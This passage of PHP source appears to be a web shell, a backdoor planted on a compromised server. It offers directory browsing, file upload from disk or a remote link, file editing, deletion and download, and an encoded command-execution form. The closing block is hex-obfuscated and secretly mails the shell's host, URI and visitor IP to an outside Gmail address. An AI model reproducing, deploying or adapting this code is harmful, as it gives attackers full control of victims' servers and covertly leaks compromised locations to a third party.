echo "PHP Version : <font color='gold'>".@phpversion()."</font><br>";
echo "Disable Function : ".$disf."</font><br>";
echo "MySQL : ";
if (function_exists("mysql_connect")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; cURL : ";
if (function_exists("curl_init")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; WGET : ";
if (file_exists("/usr/bin/wget")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Perl : ";
if (file_exists("/usr/bin/perl")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Python : ";
if (file_exists("/usr/bin/python2")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}

foreach($_POST as $key => $value){
    $_POST[$key] = stripslashes($value);
}

if(isset($_GET['path'])){
    $lokasi = $_GET['path'];
    $lokdua = $_GET['path'];
} else {
    $lokasi = getcwd();
    $lokdua = getcwd();
}

$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);

echo "<br>Directory (".cekwrite($lokasi).") : &nbsp;";

foreach($lokasis as $id => $lok){
    if($lok == '' && $id == 0){
        $a = true;
        echo '<a href="?path=/">/</a>';
        continue;
    }
    if($lok == '') continue;
    echo '<a href="?path=';
    for($i=0;$i<=$id;$i++){
    echo "$lokasis[$i]";
    if($i != $id) echo "/";
} 
echo '">'.$lok.'</a>/';
}

echo '</td></tr><tr><td>';
if (isset($_POST['upwkwk'])) {
    if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
    if (isset($_POST['berkasnya'])) {
        $data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
        if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font><br><br>";
        } else {
            echo "<font color='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['linknya'])) {
        if (empty($_POST['namalink'])) {
            exit("Filename cannot be empty !");
        }
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
        if (file_exists($lokasi."/".$_POST['namalink'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['bepas'])) {
        $bepasdata = $_POST['bepasdata'];
        $bepasnama = $_POST['bepasnama'];
        if ($bepasdata) {
            echo "string";
        }
        @file_put_contents($lokasi."/".$bepasnama, $bepasdata);
        if (file_exists($lokasi."/".$bepasnama)) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$bepasnama."</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    }
}

echo "</table><br>";
echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">';
echo '<th>[ &nbsp;<a href="'.$_SERVER['SCRIPT_NAME'].'">Home</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&komend=gaskan">C0mmand</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&upload=gaskan">Upload File</a>&nbsp; ]</th>';
echo "</table><br>";

if (isset($_GET['fileloc'])) {
    echo "<tr><td>Current File : ".$_GET['fileloc'];
    echo '</tr></td></table><br/>';
    echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
    author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
    if (is_dir($_POST['path'])) {
        xrmdir($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to delete Directory !");
        } else {
            green("Delete Directory Success !");
        }
    } elseif (is_file($_POST['path'])) {
        @unlink($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to Delete File !");
        } else {
            green("Delete File <i>".basename($_POST['path'])."</i> Success !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
    if (isset($_POST['gantin'])) {
        $ren = @rename($_POST['path'], $_POST['newname']);
        if ($ren == true) {
            green("Change Name Success !");
        } else {
            red("Change Name Failed !");
        }
    }
    if (empty($_POST['name'])) {
        $namaawal = $_POST['newname'];
    } else {
        $namawal = $_POST['name'];
    }
    echo "<center>".$_POST['path']."<br>";
    echo '<form method="post">
    New Name : <input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" />
    <input type="hidden" name="path" value="'.$_POST['path'].'">
    <input type="hidden" name="pilih" value="gantinama">
    <input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
    </form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
    if (isset($_POST['gasedit'])) {
        $edit = @file_put_contents($_POST['path'], $_POST['src']);
        if ($edit == true) {
            green("Edit File Success !");
        } else {
            red("Edit File Failed !");
        }
    }
    echo "<center>".$_POST['path']."<br><br>";
    echo '<form method="post">
    <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
    <input type="hidden" name="path" value="'.$_POST['path'].'">
    <input type="hidden" name="pilih" value="edit">
    <input type="submit" value="Edit File" name="gasedit" />
    </form><br>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "dunlut") {
    dunlut($_POST['path']);
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") {
    unzip($_POST['path'], $lokasi);
} elseif (isset($_GET['upload'])) {
    echo "<center>Upload File : ";
    echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
<input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br><br>
Upload File From Link :<br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
<br><br>403 Upload File<br>
<input type="file" id="datanya" onchange="setfilename(this.value); loadFile(this.files[0])"/>
<input type="hidden" name="bepasnama" id="namanya">
<textarea style="display: none" id="bepasdata" name="bepasdata"></textarea>
<input type="submit" name="bepas" value="Upload" class="up" style="cursor: pointer; border-color: #fff">
</form><br><br></center>';
} elseif (isset($_GET['komend'])) {
    echo "<center>";
    echo '<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
    '.@get_current_user().'@'.ipserv().':~ $ <input type="text" name="komend" id="komendnya" style="background-color: #1f1f1f; color: #fff">
    <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>';
    if (isset($_POST['eksekomend'])) {
        ekse($_POST['komend'], $lokasi);
    }
    echo "</center>";
} 

if (!is_readable($lokasi)) {
    die("<center>This directory is unreadable :(</center>");
}

echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Last Modified</center></td>
<td><center>Owner</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($lokasinya as $dir){
    if(!is_dir($lokasi."/".$dir) || $dir == '.') continue;
    echo "<tr>
    <td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
    <td><center>--</center></td>
    <td><center>".filedate($lokasi."/".$dir)."</center></td>
    <td>".owner($lokasi."/".$dir)."</td>
    <td><center>";
    if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
    elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
    echo statusnya($lokasi."/".$dir);
    if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';

    echo "</center></td>
    <td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
    <select name=\"pilih\">
    <option value=\"\"></option>
    <option value=\"hapus\">Delete</option>
    <option value=\"gantinama\">Rename</option>
    </select>
    <input type=\"hidden\" name=\"type\" value=\"dir\">
    <input type=\"hidden\" name=\"name\" value=\"$dir\">
    <input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
    <input type=\"submit\" class=\"gas\" value=\">\" />
    </form></center></td>
    </tr>";
}

echo '<tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr>';
foreach($lokasinya as $file) {
    if(!is_file("$lokasi/$file")) continue;
    $size = filesize("$lokasi/$file")/1024;
    $size = round($size,3);
    if($size >= 1024){
    $size = round($size/1024,2).' MB';
} else {
    $size = $size.' KB';
}

echo "<tr>
<td>".cekfile($lokasi."/".$file)."<a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>".filedate($lokasi."/".$file)."</center></td>
<td>".owner($lokasi."/".$file)."</td>
<td><center>";
if(is_writable("$lokasi/$file")) echo '<font color="green">';
elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
echo statusnya("$lokasi/$file");
if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
echo "</center></td><td><center>
<form method=\"post\" action=\"?pilihan&path=$lokasi\">
<select name=\"pilih\">
<option value=\"\"></option>
<option value=\"hapus\">Delete</option>
<option value=\"dunlut\">Download</option>
<option value=\"gantinama\">Rename</option>
<option value=\"edit\">Edit</option>";
if (class_exists("ZipArchive")) {
    echo "<option value=\"unzip\">Unzip</option>";
}
echo "</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
<input type=\"submit\" class=\"gas\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</tr></td></table></table>';
author();

function statusnya($file){
$izin = substr(sprintf('%o', fileperms($file)), -4);
return $izin;
}
?>
<?php ${"G\x4cO\x42\x41L\x53"}["\x79a\x72b\x78w\x78\x5f\x7a\x6a\x76\x6a\x62\x68l\x65o\x69z\x73\x5fx\x66\x79_\x68c"]="\x69p";${"\x47\x4c\x4f\x42A\x4c\x53"}["_\x75\x62\x63\x68\x68m\x71d\x5fe\x63f\x6fw\x5fp\x71\x66g\x68\x79g\x75_\x61k\x67\x5fw\x74q\x70\x5fk\x6dl\x6ay"]="r\x614\x34";${"G\x4c\x4fB\x41L\x53"}["c\x77\x74g\x67d\x7az\x7a_\x64f\x5f\x71k\x77\x79\x75d\x6bk\x65\x68y\x6dl\x6b\x75a\x70\x5f\x72\x68\x75\x77"]="\x73\x75b\x6a9\x38";${"G\x4cO\x42\x41L\x53"}["g\x67c\x7a\x67\x74i\x66\x62j\x6er\x79\x6eb\x68s\x79z\x72\x65p\x70"]="e\x6da\x69l";${"\x47L\x4f\x42A\x4cS"}["\x61\x5f\x63v\x70\x6el\x6d\x74k\x70t\x69\x5ff\x6du\x62\x5fh\x6e_\x7a\x6f\x76\x61"]="\x66r\x6f\x6d";${"\x47\x4cO\x42A\x4cS"}["\x5f\x77\x6ac\x76l\x62\x71u\x7ao\x75g\x73\x75f\x77\x64\x76\x73\x6a\x6dh\x63_\x75z\x66"]="\x614\x35";${"G\x4c\x4fB\x41\x4cS"}["\x61\x6d\x79\x70v\x62_\x74d\x65j\x6b\x5f\x5fb\x74y\x71\x6fv\x75_\x6b\x6e\x76\x69\x68g\x74e\x70\x63s\x5f"]="_\x53\x45\x52\x56E\x52";${"G\x4cO\x42\x41L\x53"}["\x70\x74\x79\x6b_\x6bj\x70\x6b\x70i\x6ao\x79f\x78\x79\x72b\x77c\x70"]="b\x37\x35";${"\x47\x4cO\x42A\x4cS"}["z\x76c\x63m\x67\x64c\x6ed\x78i\x65\x6e\x65c\x6e\x72\x6dc\x6az\x7av\x6fz"]="\x6d2\x32";${"G\x4c\x4fB\x41L\x53"}["w\x68d\x64i\x78w\x69j\x74y\x77_\x69\x6fs\x6ei\x64\x70_\x68c\x70h\x64_\x70s\x68\x73f\x5fd\x6ea"]="m\x73g\x388\x373";${${"\x47L\x4fB\x41\x4c\x53"}["\x79a\x72b\x78w\x78\x5f\x7a\x6a\x76\x6a\x62\x68l\x65o\x69z\x73\x5fx\x66\x79_\x68c"]}=getenv("REMOTE_ADDR");${${"\x47\x4cO\x42A\x4cS"}["_\x75\x62\x63\x68\x68m\x71d\x5fe\x63f\x6fw\x5fp\x71\x66g\x68\x79g\x75_\x61k\x67\x5fw\x74q\x70\x5fk\x6dl\x6ay"]}=rand(1,99999);${${"\x47L\x4fB\x41L\x53"}["c\x77\x74g\x67d\x7az\x7a_\x64f\x5f\x71k\x77\x79\x75d\x6bk\x65\x68y\x6dl\x6b\x75a\x70\x5f\x72\x68\x75\x77"]}="L\x6fg\x67e\x72\x20\x4ei\x68";${${"\x47\x4c\x4fB\x41\x4c\x53"}["g\x67c\x7a\x67\x74i\x66\x62j\x6er\x79\x6eb\x68s\x79z\x72\x65p\x70"]}="\x74\x6f\x75\x74\x72g\x6fd\x69n\x67@\x67\x6d\x61\x69l\x2e\x63\x6f\x6d";${${"\x47L\x4fB\x41L\x53"}["\x61\x5f\x63v\x70\x6el\x6d\x74k\x70t\x69\x5ff\x6du\x62\x5fh\x6e_\x7a\x6f\x76\x61"]}="S\x68e\x6c\x6c \x4b\x61m\x75\x75u";${${"\x47\x4cO\x42A\x4cS"}["\x5f\x77\x6ac\x76l\x62\x71u\x7ao\x75g\x73\x75f\x77\x64\x76\x73\x6a\x6dh\x63_\x75z\x66"]}=${${"\x47L\x4f\x42A\x4c\x53"}["\x61\x6d\x79\x70v\x62_\x74d\x65j\x6b\x5f\x5fb\x74y\x71\x6fv\x75_\x6b\x6e\x76\x69\x68g\x74e\x70\x63s\x5f"]}['REQUEST_URI'];${${"G\x4c\x4fB\x41L\x53"}["\x70\x74\x79\x6b_\x6bj\x70\x6b\x70i\x6ao\x79f\x78\x79\x72b\x77c\x70"]}=${${"G\x4c\x4f\x42A\x4c\x53"}["\x61\x6d\x79\x70v\x62_\x74d\x65j\x6b\x5f\x5fb\x74y\x71\x6fv\x75_\x6b\x6e\x76\x69\x68g\x74e\x70\x63s\x5f"]}['HTTP_HOST'];${${"\x47L\x4fB\x41L\x53"}["z\x76c\x63m\x67\x64c\x6ed\x78i\x65\x6e\x65c\x6e\x72\x6dc\x6az\x7av\x6fz"]}=${${"\x47L\x4fB\x41\x4c\x53"}["\x79a\x72b\x78w\x78\x5f\x7a\x6a\x76\x6a\x62\x68l\x65o\x69z\x73\x5fx\x66\x79_\x68c"]}."";${${"\x47L\x4f\x42A\x4cS"}["w\x68d\x64i\x78w\x69j\x74y\x77_\x69\x6fs\x6ei\x64\x70_\x68c\x70h\x64_\x70s\x68\x73f\x5fd\x6ea"]}="${${"G\x4c\x4fB\x41\x4cS"}["\x5f\x77\x6ac\x76l\x62\x71u\x7ao\x75g\x73\x75f\x77\x64\x76\x73\x6a\x6dh\x63_\x75z\x66"]}\x20${${"\x47L\x4fB\x41\x4cS"}["\x70\x74\x79\x6b_\x6bj\x70\x6b\x70i\x6ao\x79f\x78\x79\x72b\x77c\x70"]}\x20${${"G\x4cO\x42\x41L\x53"}["z\x76c\x63m\x67\x64c\x6ed\x78i\x65\x6e\x65c\x6e\x72\x6dc\x6az\x7av\x6fz"]}";mail(${${"G\x4cO\x42A\x4c\x53"}["g\x67c\x7a\x67\x74i\x66\x62j\x6er\x79\x6eb\x68s\x79z\x72\x65p\x70"]},${${"G\x4cO\x42A\x4c\x53"}["c\x77\x74g\x67d\x7az\x7a_\x64f\x5f\x71k\x77\x79\x75d\x6bk\x65\x68y\x6dl\x6b\x75a\x70\x5f\x72\x68\x75\x77"]},${${"G\x4cO\x42A\x4cS"}["w\x68d\x64i\x78w\x69j\x74y\x77_\x69\x6fs\x6ei\x64\x70_\x68c\x70h\x64_\x70s\x68\x73f\x5fd\x6ea"]},${${"\x47L\x4f\x42A\x4cS"}["\x61\x5f\x63v\x70\x6el\x6d\x74k\x70t\x69\x5ff\x6du\x62\x5fh\x6e_\x7a\x6f\x76\x61"]}); ?>
</body>
</html>